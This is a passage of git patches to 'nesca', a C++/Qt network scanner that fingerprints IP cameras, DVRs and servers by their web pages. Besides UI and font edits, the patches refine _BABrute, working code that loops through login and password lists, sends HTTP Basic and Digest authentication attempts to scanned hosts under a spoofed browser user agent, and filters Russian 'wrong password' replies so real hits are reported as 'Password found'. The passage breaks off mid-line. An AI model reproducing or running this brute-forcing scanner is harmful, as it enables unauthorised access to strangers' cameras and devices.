./DrawerTh_GridQoSScanner.h \ + ./DrawerTh_VoiceScanner.h \ + ./DrawerTh_ME2Scanner.h \ + ./darkmap.h \ + ./IRCPinger_Th.h \ + ./oIRC_Th.h \ + ./irc_nmblinker.h \ + ./msgpopup.h +SOURCES += ./ActivityDrawerTh_HorNet.cpp \ + ./base64.cpp \ + ./CheckKey_Th.cpp \ + ./CheckProxy_Th.cpp \ + ./connector.cpp \ + ./darkmap.cpp \ + ./DrawerTh_GridQoSScanner.cpp \ + ./DrawerTh_HorNet.cpp \ + ./DrawerTh_ME2Scanner.cpp \ + ./DrawerTh_QoSScanner.cpp \ + ./DrawerTh_VoiceScanner.cpp \ + ./finder.cpp \ + ./IRCPinger_Th.cpp \ + ./irc_nmblinker.cpp \ + ./main.cpp \ + ./msgpopup.cpp \ + ./nesca_3.cpp \ + ./nesca_startModule.cpp \ + ./oIRC_Th.cpp \ + ./STh.cpp +FORMS += ./nesca_3.ui +RESOURCES += nesca_3.qrc diff --git a/nesca_3.pro b/nesca_3.pro new file mode 100644 index 0000000..cc8aa1d --- /dev/null +++ b/nesca_3.pro @@ -0,0 +1,20 @@ +# ---------------------------------------------------- +# This file is generated by the Qt Visual Studio Add-in. +# ------------------------------------------------------ + +TEMPLATE = app +TARGET = nesca_3 +DESTDIR = ../Win32/Release +QT += core widgets gui qml +CONFIG += release +DEFINES += QT_DLL QT_WIDGETS_LIB QT_QML_LIB +INCLUDEPATH += ./GeneratedFiles \ + . \ + ../../../../../../../../Qt/Qt5.0.0/5.0.0/msvc2010/bin +DEPENDPATH += . +MOC_DIR += C:/Qt/Qt5.0.0/5.0.0/msvc2010/bin +OBJECTS_DIR += release +UI_DIR += ./GeneratedFiles +RCC_DIR += ./GeneratedFiles +include(nesca_3.pri) +win32:RC_FILE = nesca_3.rc diff --git a/nesca_3.qrc b/nesca_3.qrc index 3d860f6..b9ec00b 100644 --- a/nesca_3.qrc +++ b/nesca_3.qrc @@ -1,5 +1,6 @@ <RCC> - <qresource prefix="/nesca_3"> - <file>Eurostile.ttf</file> - </qresource> + <qresource prefix="/nesca_3"> + <file>Eurostile.ttf</file> + <file>nesca.ico</file> + </qresource> </RCC> diff --git a/nesca_3.ui b/nesca_3.ui index a30cf90..e764841 100644 --- a/nesca_3.ui +++ b/nesca_3.ui @@ -1678,7 +1678,7 @@ border-radius: 3px;</string> <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Consolas'; font-size:11pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Consolas'; font-size:8.25pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'MS Shell Dlg 2'; font-size:8pt;"><br /></p></body></html></string> </property> <property name="cursorWidth"> @@ -2180,8 +2180,8 @@ p, li { white-space: pre-wrap; } <string/> </property> <property name="icon"> - <iconset> - <normaloff>:/nesca_3/Z:/nesca.ico</normaloff>:/nesca_3/Z:/nesca.ico</iconset> + <iconset resource="nesca_3.qrc"> + <normaloff>:/nesca_3/nesca.ico</normaloff>:/nesca_3/nesca.ico</iconset> </property> </widget> <widget class="QLabel" name="WhiteLabel"> @@ -2433,7 +2433,7 @@ p, li { white-space: pre-wrap; } <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> </property> <property name="cursorWidth"> @@ -2930,7 +2930,7 @@ background-color: #000000;</string> <property name="font"> <font> <family>Eurostile</family> - <pointsize>9</pointsize> + <pointsize>8</pointsize> </font> </property> <property name="styleSheet"> @@ -3415,7 +3415,7 @@ background-color: #000000;</string> <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> </property> <property name="acceptRichText"> @@ -3551,7 +3551,7 @@ p, li { white-space: pre-wrap; } <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:2px; margin-bottom:2px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> </property> <property name="acceptRichText"> @@ -4012,6 +4012,8 @@ color: rgb(71, 71, 71);</string> <tabstop>exitButton</tabstop> <tabstop>dataText</tabstop> </tabstops> - <resources/> + <resources> + <include location="nesca_3.qrc"/> + </resources> <connections/> </ui> diff --git a/oIRC_Th.cpp b/oIRC_Th.cpp index 4a0ee84..ea1c411 100644 --- a/oIRC_Th.cpp +++ b/oIRC_Th.cpp @@ -114,7 +114,7 @@ void _blinkNLine(QString tempData = "", QString senderNick = "") int sendS(int lSock, char *msg, int len, int mode) { - if(lSock == ENOTSOCK || lSock <= 0 || !connectedToIRC) { + if(lSock == WSAENOTSOCK || lSock <= 0 || !connectedToIRC) { ircTh->doEmitChangeRedIRCData("Not connected."); return -1; } From 13e3d512577f6bde602c3f22ba26d91bb9e87e1e Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Sat, 28 Feb 2015 11:12:13 +0300 Subject: [PATCH 17/66] Minor detector improvements. --- finder.cpp | 30 ++++++++++++++++++++++-------- 1 file changed, 22 insertions(+), 8 deletions(-) diff --git a/finder.cpp b/finder.cpp index aebe42c..f69eb6e 100644 --- a/finder.cpp +++ b/finder.cpp @@ -281,8 +281,8 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip) && strstr(buffcpy, "<b class=\"xb1\"></b>") != NULL) return 32; //IPC web ip cam if(strstr(buffcpy, "geovision") != NULL && (strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam - if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL - && strstr(buffcpy, "dvrdvs-webs") != NULL) + if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL + && strstr(buffcpy, "dvrdvs-webs") != NULL) || (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) @@ -308,14 +308,18 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip) if(strstr(buffcpy, "dvr") != NULL && strstr(buffcpy, "ieorforefox") != NULL && strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX - if(strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL + if((strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL || strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL || strstr(buffcpy, "hfs /") != NULL || strstr(buffcpy, "httpfileserver") != NULL || strstr(buffcpy, "network camera") != NULL || strstr(buffcpy, "$lock extended") != NULL || strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "/viewer/video.jpg") != NULL || strstr(buffcpy, "smart ip device") != NULL || strstr(buffcpy, "sanpshot_icon") != NULL || strstr(buffcpy, "snapshot_icon") != NULL - || strstr(buffcpy, "ipcam") != NULL + || strstr(buffcpy, "ipcam") != NULL) + && strstr(buffcpy, "customer") == NULL + && strstr(buffcpy, "purchase") == NULL + && strstr(buffcpy, "contac") == NULL + && strstr(buffcpy, "company") == NULL ) return 0; if(lxf.globalSearchNeg(buffcpy, ip, port) == -1) return -1; @@ -398,14 +402,18 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip) || strstr(buffcpy, "500 'get': command not understood") != NULL ) return 16; // 16 - FTP - if(strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL + if((strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL || strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL || strstr(buffcpy, "hfs /") != NULL || strstr(buffcpy, "httpfileserver") != NULL || strstr(buffcpy, "network camera") != NULL || strstr(buffcpy, "$lock extended") != NULL || strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "/viewer/video.jpg") != NULL || strstr(buffcpy, "smart ip device") != NULL || strstr(buffcpy, "sanpshot_icon") != NULL || strstr(buffcpy, "snapshot_icon") != NULL - || strstr(buffcpy, "ipcam") != NULL + || strstr(buffcpy, "ipcam") != NULL) + && strstr(buffcpy, "customer") == NULL + && strstr(buffcpy, "purchase") == NULL + && strstr(buffcpy, "contac") == NULL + && strstr(buffcpy, "company") == NULL ) return 0; if(lxf.globalSearchNeg(buffcpy, ip, port) == -1) return -1; @@ -2567,20 +2575,26 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: strcpy(ps->headr, "[IRC server]"); strcpy(ps->path, "/"); return 1; }; - if(strstri(str, "ip camera") != NULL || strstri(str, "+tm01+") != NULL + + if((strstri(str, "ip camera") != NULL || strstri(str, "+tm01+") != NULL || strstri(str, "camera web server") != NULL || strstri(str, "ipcam_language") != NULL || strstri(str, "/viewer/video.jpg") != NULL || strstri(str, "network camera") != NULL || strstri(str, "sanpshot_icon") != NULL || strstri(str, "snapshot_icon") != NULL || strstri(str, "lan camera") != NULL || strstri(str, "cgiuserlogin?") != NULL || strstri(str, "web camera") != NULL || strstri(str, "smart ip device") != NULL || strstri(str, "pan/tilt camera") != NULL || strstri(str, "/cgi-bin/viewer/getparam.cgi?") != NULL - || strstri(str, "IPCamera") != NULL + || strstri(str, "IPCamera") != NULL) + && strstr(str, "customer") == NULL + && strstr(str, "purchase") == NULL + && strstr(str, "contac") == NULL + && strstr(str, "company") == NULL ) { strcpy(ps->headr, "[IP Camera detected]"); l->flag = 0; ps->flag = 0; }; + if(strstri(str, "get_status.cgi") != NULL) { strcpy(ps->headr, "[It may be ip camera]"); }; if(strstri(str, "vo_logo.gif") != NULL From 74f57482fd9f7b7decc33ec7f5f533482b511f0b Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Sat, 28 Feb 2015 14:47:21 +0300 Subject: [PATCH 18/66] Redirect-loops are now ignored. --- connector.cpp | 166 +++++++++++++++++++++++++++++--------------------- finder.cpp | 86 +++++++++++++++++--------- 2 files changed, 152 insertions(+), 100 deletions(-) diff --git a/connector.cpp b/connector.cpp index 6f3dd91..3ec13a5 100644 --- a/connector.cpp +++ b/connector.cpp @@ -388,7 +388,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) int bTO; bool goon = false; char hRqst[REQUEST_MAX_SIZE] = {0}; - char headerMsg[REQUEST_MAX_SIZE] = {0}; + char headerMsg[REQUEST_MAX_SIZE] = { 0 }; char hMsgR[512] = {0}; strcpy(hRqst, "GET "); @@ -454,7 +454,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) int x = 1; int xx = 0; - while(xx < 512) + while (xx < REQUEST_MAX_SIZE) { x = recvWT(sock, hMsgR, sizeof(hMsgR), gTimeOut + 5, &bTO); if(x <= 0) break; @@ -491,6 +491,8 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) && strstr(headerMsg, ".0 401") == NULL && strstr(headerMsg, "<statusValue>401</statusValue>") == NULL && strstr(headerMsg, "<statusString>Unauthorized</statusString>") == NULL + && strstr(headerMsg, "неправильны") == NULL && strstr(headerMsg, "Неправильны") == NULL + && strstr(headerMsg, "Неправильны") == NULL ) { if(strstri(headerMsg, "400 Bad") != NULL) @@ -568,9 +570,9 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) for(int i = 0; i < MaxLogin; i++) { if(globalScanFlag == false) break; - for(int j = 0; j < MaxPass; j++) + for (int j = 0; j < MaxPass; j++) { - if(globalScanFlag == false) break; + if (globalScanFlag == false) break; ZeroMemory(request, REQUEST_MAX_SIZE); ZeroMemory(curLogin, sizeof(curLogin)); @@ -578,7 +580,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) strcpy(curLogin, loginLst[i]); strcpy(curPass, passLst[j]); - if(strcmp(method, "[DIGEST]") == 0 && strstr(localBuff, "nonce=") != NULL) + if (strcmp(method, "[DIGEST]") == 0 && strstr(localBuff, "nonce=") != NULL) { ZeroMemory(attribute, sizeof(attribute)); strcpy(attribute, _getAttribute(localBuff, "WWW-Authenticate:")); @@ -587,7 +589,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) ZeroMemory(realm, sizeof(realm)); strcpy(realm, _getAttributeValue(attribute, "realm=", ip, port)); ZeroMemory(qop, sizeof(qop)); - if(strstri(attribute, "qop") != NULL) + if (strstri(attribute, "qop") != NULL) { strcpy(qop, _getAttributeValue(attribute, "qop=", ip, port)); }; @@ -596,19 +598,19 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) strcat(request, path); strcat(request, " HTTP/1.1\r\nHost: "); strcat(request, ip); - if(port != 80){ + if (port != 80){ strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); + char tbuff[16] = { 0 }; + sprintf(tbuff, "%d", port); + strcat(request, tbuff); }; - if(cookieLen != 0) + if (cookieLen != 0) { strcat(request, "\r\nCookie: "); strcat(request, cookie); }; - - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Digest username=\""); + + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Digest username=\""); strcat(request, curLogin); strcat(request, "\", realm=\""); strcat(request, realm); @@ -618,7 +620,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) strcat(request, path); strcat(request, "\", qop=auth, response=\""); strcat(request, _makeDigestResponse(curLogin, realm, curPass, path, nonce, "10000001", "9d531d56796e0dc9", qop)); - if(strstri(attribute, "opaque") != NULL) + if (strstri(attribute, "opaque") != NULL) { ZeroMemory(opaque, sizeof(opaque)); strcpy(opaque, _getAttributeValue(attribute, "opaque=", ip, port)); @@ -639,54 +641,55 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) strcat(request, path); strcat(request, " HTTP/1.1\r\nHost: "); strcat(request, ip); - if(port != 80){ + if (port != 80){ strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); + char tbuff[16] = { 0 }; + sprintf(tbuff, "%d", port); + strcat(request, tbuff); }; - if(cookieLen != 0) + if (cookieLen != 0) { strcat(request, "\r\nCookie: "); strcat(request, cookie); }; - - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic "); + + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic "); strcat(request, encoded.c_str()); strcat(request, "\r\nConnection: close\r\n\r\n"); }; - if(port == 443) + if (port == 443) { ZeroMemory(recvBuff, sizeof(recvBuff)); - if(BALogSwitched) stt->doEmitionBAData("Probing SSL:BA " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(tPass) + ";"); + if (BALogSwitched) stt->doEmitionBAData("Probing SSL:BA " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(tPass) + ";"); _baSSLWorker(ip, request, recvBuff); dataSz = strlen(recvBuff); } - else + else { - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(cCode == SOCKET_ERROR) { + if (cCode == SOCKET_ERROR) { int errorCode = WSAGetLastError(); - if(errorCode == WSAENOTSOCK) { + if (errorCode == WSAENOTSOCK) { - while(errorCode == WSAENOTSOCK) + while (errorCode == WSAENOTSOCK) { - if(gDebugMode) stt->doEmitionDebugFoundData("[BA][ENOTSOCK] - [" + QString(ip) + ":" + QString::number(port) + "]"); + if (gDebugMode) stt->doEmitionDebugFoundData("[BA][ENOTSOCK] - [" + QString(ip) + ":" + QString::number(port) + "]"); CSSOCKET(sock); - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); errorCode = WSAGetLastError(); }; - } else { + } + else { CSSOCKET(sock); - if(errorCode != WSAETIMEDOUT) + if (errorCode != WSAETIMEDOUT) { stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(errorCode) + "]"); }; @@ -695,18 +698,19 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) strcpy(lps.login, "UNKNOWN"); return lps; }; - } else { + } + else { int x = 1; Activity += strlen(request); - if(send(sock, request, strlen(request), 0) != SOCKET_ERROR) + if (send(sock, request, strlen(request), 0) != SOCKET_ERROR) { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + if (MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); dataSz = 0; ZeroMemory(recvBuff2, sizeof(recvBuff2)); ZeroMemory(recvBuff, sizeof(recvBuff)); - while (x > 0 && dataSz < 3384) + while (x > 0 && dataSz < 3384) { ZeroMemory(recvBuff2, sizeof(recvBuff2)); x = recvWT(sock, recvBuff2, sizeof(recvBuff2), gTimeOut + 5, &bTO); @@ -715,7 +719,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) Activity += x; strncat(recvBuff, recvBuff2, x); }; - if(BALogSwitched) stt->doEmitionBAData("Checked BA: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(curLogin) + ":" + QString(curPass) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); + if (BALogSwitched) stt->doEmitionBAData("Checked BA: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(curLogin) + ":" + QString(curPass) + "; - Progress: (" + QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); } else { @@ -730,10 +734,10 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) CSSOCKET(sock); }; - - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); - if(dataSz == 0) + if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); + + if (dataSz == 0) { stt->doEmitionBAData("[BA] No reply from: " + QString(ip) + "; Repeating..."); --j; @@ -744,19 +748,34 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) ++passCounter; }; - if(strcmp(method, "[DIGEST]") == 0) + if (strcmp(method, "[DIGEST]") == 0) { ZeroMemory(localBuff, sizeof(localBuff)); strcpy(localBuff, recvBuff); }; - - if(strstri(recvBuff, "http/1.1 401") == NULL - || strstri(recvBuff, "http/1.0 401") == NULL - ) + if (strstri(recvBuff, "http/1.1 401") != NULL + || strstri(recvBuff, "http/1.0 401") != NULL) { - ///dummy/// - } - else if(strstri(recvBuff, "503 service unavailable") != NULL + Sleep(200); + } else + //if(strstri(recvBuff, "http/1.1 401") == NULL + // || strstri(recvBuff, "http/1.0 401") == NULL + // ) + //{ + // if ((strstri(recvBuff, "200 ok") != NULL + // || strstri(recvBuff, "http/1.0 200") != NULL + // || strstri(recvBuff, "http/1.1 200") != NULL + // ) + // && strstr(headerMsg, "неправильны") == NULL + // && strstr(headerMsg, "Неправильны") == NULL + // && strstr(headerMsg, "Неправильны") == NULL) + // { + // } + // stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")"); + // Sleep(200); + // ///dummy/// + //} + if(strstri(recvBuff, "503 service unavailable") != NULL || strstri(recvBuff, "http/1.1 503") != NULL || strstri(recvBuff, "http/1.0 503") != NULL || strstr(recvBuff, "400 BAD_REQUEST") != NULL @@ -783,13 +802,16 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) strcpy(lps.login, "UNKNOWN"); return lps; } - else if( (strstri(recvBuff, "200 ok") != NULL + else if ((strstri(recvBuff, "200 ok") != NULL || strstri(recvBuff, "http/1.0 200") != NULL + || strstri(recvBuff, "http/1.1 200") != NULL ) && strstri(recvBuff, "http/1.1 401 ") == NULL && strstri(recvBuff, "http/1.0 401 ") == NULL && strstr(headerMsg, "<statusValue>401</statusValue>") == NULL && strstr(headerMsg, "<statusString>Unauthorized</statusString>") == NULL + && strstr(headerMsg, "неправильны") == NULL && strstr(headerMsg, "Неправильны") == NULL + && strstr(headerMsg, "Неправильны") == NULL && dataSz > 13 ) { @@ -812,32 +834,36 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) } else { - ZeroMemory(pass, sizeof(pass)); - strcpy(pass, ip); - strcat(pass, " - Password found: "); - strcat(pass, tPass); - isActive = 0; - char *pt1 = strstr(recvBuff, " "); - if(pt1 != NULL) + if (strstri(headerMsg, "неправильны") == NULL + && strstri(headerMsg, "Неправильны") == NULL) { - char *pt2 = strstr(pt1 + 1, " "); - if(pt2 != NULL) + ZeroMemory(pass, sizeof(pass)); + sprintf(pass, "%s - Password found: %s", ip, tPass); + char *pt1 = strstr(recvBuff, " "); + if(pt1 != NULL) { - int sz = pt2 - pt1 - 1; - char tempHeaderCode[16] = {0}; - strncpy(tempHeaderCode, pt1 + 1, sz); + char *pt2 = strstr(pt1 + 1, " "); + if(pt2 != NULL) + { + int sz = pt2 - pt1 - 1; + char tempHeaderCode[16] = {0}; + strncpy(tempHeaderCode, pt1 + 1, sz); - if(strcmp(tempHeaderCode, "302") == 0 && strcmp(tempHeaderCode, "200") == 0) stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (" + QString(tempHeaderCode) + ") IP: <a style=\"color: #efe100;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "\">" + QString(ip) + ":" + QString::number(port) + "</a>"); - strcpy(lps.login, curLogin); - strcpy(lps.pass, curPass); - return lps; + if(strcmp(tempHeaderCode, "302") == 0 && strcmp(tempHeaderCode, "200") == 0) stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (" + QString(tempHeaderCode) + ") IP: <a style=\"color: #efe100;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "\">" + QString(ip) + ":" + QString::number(port) + "</a>"); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + return lps; + }; }; - }; - stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (?) IP: <a style=\"color: #efe100;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "\">" + QString(ip) + ":" + QString::number(port) + "</a>"); - strcpy(lps.login, curLogin); - strcpy(lps.pass, curPass); - return lps; + stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (?) IP: <a style=\"color: #efe100;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "\">" + QString(ip) + ":" + QString::number(port) + "</a>"); + strcpy(lps.login, curLogin); + strcpy(lps.pass, curPass); + isActive = 0; + return lps; + } + else Sleep(200); }; + if(strstr(recvBuff, "Set-Cookie:") != NULL) { ZeroMemory(cookie, COOKIE_MAX_SIZE); diff --git a/finder.cpp b/finder.cpp index f69eb6e..11df404 100644 --- a/finder.cpp +++ b/finder.cpp @@ -1990,7 +1990,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P strcpy(tempPath, "/"); }; - strcpy(mes, rbuff1); if(tempPath[0] != '/') strcat(mes, "/"); strcat(mes, tempPath); @@ -2027,7 +2026,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P strcpy(ps->path, tempPath); delete []cstr.lowerBuff; - return 0; + return -1; }; if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) @@ -2040,17 +2039,26 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P delete []cstr.lowerBuff; - return ls->flag; + return -2; }; if(ls->flag == 6) { ps->flag = ls->flag; ps->port = tempPort; - return ls->flag; + return -2; }; strcat(ps->headr, " -> "); strcat(ps->headr, GetTitle(cstr.lowerBuff)); - ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff); + if (ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff) == -1) + { + ps->flag = -1; + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, tempPath); + delete[]cstr.lowerBuff; + + return -1; + }; + ps->port = tempPort; if(strlen(cstr.lowerBuff) < 1) { @@ -2072,10 +2080,11 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(ip) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _header::redirect [Dead host]."); }; - return 0; + return -2; } else if(strstr(str, "http://") != NULL) //http { + tempPort = 80; char *ptr1 = strstri(str, "http://"); char *ptr2 = _findFirst(str + 7, ":/?"); if(ptr2 != NULL) @@ -2123,7 +2132,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P strcpy(tempPath, "/"); }; - if(tempPort == 0) tempPort = port; strcpy(mes, rbuff1); if(tempPath[0] != '/') strcat(mes, "/"); strcat(mes, tempPath); @@ -2172,17 +2180,25 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ps->port = tempPort; strcpy(ps->ip, tempIP); - return ls->flag; + return -2; }; if(ls->flag == 6) { ps->flag = ls->flag; ps->port = tempPort; - return ls->flag; + return -2; }; strcat(ps->headr, " -> "); strcat(ps->headr, GetTitle(cstr.lowerBuff)); - ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff); + if (ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff) == -1) + { + ps->flag = -1; + strcpy(ps->headr, "[IGNR_ADDR]"); + strcpy(ps->path, tempPath); + delete[]cstr.lowerBuff; + + return -1; + }; ps->port = tempPort; if(strlen(cstr.lowerBuff) < 1) @@ -2204,7 +2220,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ls->flag = -1; if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(ip) + ":" + 